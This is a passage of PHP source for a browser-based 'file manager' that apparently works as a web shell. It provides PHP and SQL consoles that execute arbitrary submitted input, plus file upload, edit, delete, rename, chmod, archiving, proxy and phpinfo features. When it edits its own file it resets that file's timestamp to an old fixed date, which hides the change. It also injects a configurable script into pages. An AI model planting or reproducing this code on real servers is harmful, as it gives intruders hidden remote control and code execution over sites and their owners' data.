Bqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<script src="https://cdn.jsdelivr.net/gh/Den1xxx/EditArea@master/edit_area/edit_area_full.js"></script>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="25" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<script language="Javascript" type="text/javascript">
document.addEventListener('DOMContentLoaded', function() {
	editAreaLoader.init({
	id: "newcontent"
	,display: "later"
	,start_highlight: true
	,allow_resize: "both"
	,allow_toggle: true
	,word_wrap: true
	,language: "ru"
	,syntax: "<?=pathinfo($_REQUEST['edit'], PATHINFO_EXTENSION)?>"	
	,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help"
	,syntax_selection_allow: "css,html,js,php,python,xml,c,cpp,sql,basic,pas"
	});
});
</script>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123-cpu/goat.php/new/main">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

